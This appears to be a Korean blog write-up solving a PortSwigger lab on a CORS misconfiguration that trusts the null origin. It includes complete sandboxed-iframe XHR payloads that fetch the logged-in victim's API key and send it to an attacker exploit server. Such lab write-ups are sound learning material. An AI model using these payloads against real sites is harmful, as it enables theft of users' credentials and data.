티스토리 뷰

반응형

 

이전 글

 

2-3. 취약한 CORS 유형 (3) - NULL 출처 허용

유형 (3) 설명 로컬에서 서버 대상으로 테스트 개발을 진행하고자 할 때, 아래와 같은 에러가 발생한다. Access to script at 'file:///C:/경로/접근하고자 하는 파일' from origin 'null' has been blocked by CORS polic

likethefirst.tistory.com

 

 

실습 요구사항

Lab: CORS vulnerability with trusted null origin

https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack

 

 

환경 정보

🌐 요청

sandboxing된 iframe을 이용해 Origin이 null 취급되는 XHR 요청 서버

🌍 응답

개발 디버깅의 편의를 위해 응답 헤더 Access-Control-Allow-Origin이 null인 웹 서버

 

 

사전정보

없음

 

 

추론과정 및 결과

과정 1 

이전 실습 (1)에서 한 번 해보니 그래도 시도가 가볍다. (https://likethefirst.tistory.com/entry/3-2-%EC%B7%A8%EC%95%BD%ED%95%9C-CORS-%EC%9C%A0%ED%98%95-%EC%8B%A4%EC%8A%B5-2-ACAO-Reflection)

똑같이 최초 /login의 패킷을 보면 Origin이 Exploit 사이트 그대로로 나온다.

 

 

과정 2

Request & Response

/accountDetails로 요청 시 동일하게 apikey가 JSON 데이터로 응답된다.

역시나 XHR 요청을 시도할 경로는 이 곳이 된다.

 

Header Manipulation

❌ Origin을 이전처럼 attacker의 아무 도메인이라 가정하고 변조해보면,

ACAO 헤더 응답이 오지 않는다.

지금은 XHR을 통한 요청이 아닌 프록시를 통한 확인 과정이기에 응답이 오는 것이지,

실제 exploit이었으면 XHR에 대한 응답은 받을 수 없다.

⭕ Origin을 null로 변조해보면 ACAO도 null로 돌아온다.

Origin이 null이 되는 환경에서의 공격이라면 우회할 수 있다는 의미이며,

대표적으로 알려진 sandbox화된 iframe 태그를 이용해서 exploit 해본다.

 

 

1차 Exploit 

victim의 접속 경로 : https://0a27000a04e268a682a76f0c00b40026.web-security-academy.net/

attacker의 서버 : https://exploit-0ae600b004be68fa82ed6ec301ce0082.exploit-server.net/

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','0a27000a04e268a682a76f0c00b40026.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>"></iframe>

victim 로그인 상태에서 attacker 서버에 접속 시 apikey 정보를 요청(/accountDetails)하도록 한다.

요청 후, location="/log?key={}"로 attacker의 서버 /log 경로에

apikey 정보 요청에 대한 응답을 보내도록 코드를 작성하고 'Deliver exploit to victim'을 클릭한다. 

 

Problem

victim한테 보냈더니 내가 지정한 /log로 locate도 하지 않고 XHR open 단계에서 404가 일어났다.

가라는 대로 갔는데 그게 어디임? 이라는 뜻이다..

 

Solution

이것은 iframe의 sandbox 속성 때문에 상대 경로 자체를 인지하지 못하기 때문이라 한다.

경로를 절대경로로 명시하고 다시 시도해본다.

sandbox된 iframe에서 fetch 요청을 보낼 때 location을 절대 경로(absolute path)로 명시해야 하는 이유는, sandbox된 iframe이 독립적으로 리소스를 찾을 수 없기 때문입니다.
일반적으로 브라우저는 상대 경로(relative path)를 사용하여 리소스를 찾습니다. 하지만 sandbox된 iframe은 보안상의 이유로 독립적인 환경에서 실행되며, 부모 페이지와의 상대적인 위치나 부모 페이지가 제공하는 기본 경로를 공유하지 않습니다. 따라서 sandbox된 iframe은 자체적으로 상대 경로를 해석할 수 없습니다.
이에 따라 sandbox된 iframe에서 fetch 요청을 보낼 때는 리소스의 절대 경로를 명시해야 합니다. 이렇게 하면 브라우저는 요청을 보낼 때 절대 경로를 기준으로 해당 리소스를 찾게 되며, 이를 통해 sandbox된 iframe이 독립적으로 리소스를 찾을 수 있게 됩니다.

 

 

2차 Exploit 

1차 Exploit 이후 알게된 내용 기반으로,

절대경로에 있어서도 일부 누락된 URI가 있음을 알고 수정하였다.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0a5900e903e636b081637f09001f0068.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send(null);
    function reqListener() {
        location='https://exploit-0a17000503a9360f813c7e3301ee00e0.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

 

 

실행결과

Access log 기능(/log)으로 가보면, attacker IP가 아닌 다른 IP로 /log?key={}에 대한 GET 요청이 있다.

 

URL decode하여 username이 administrator인 victim의 apikey를 제출한다.

 

Solved 딱지를 받았다.

 

 

🌞 Solved

 

반응형
댓글
반응형
Recent Post.
Recent Reply.
Thanks for comming.
오늘은
명이 방문했어요
어제는
명이 방문했어요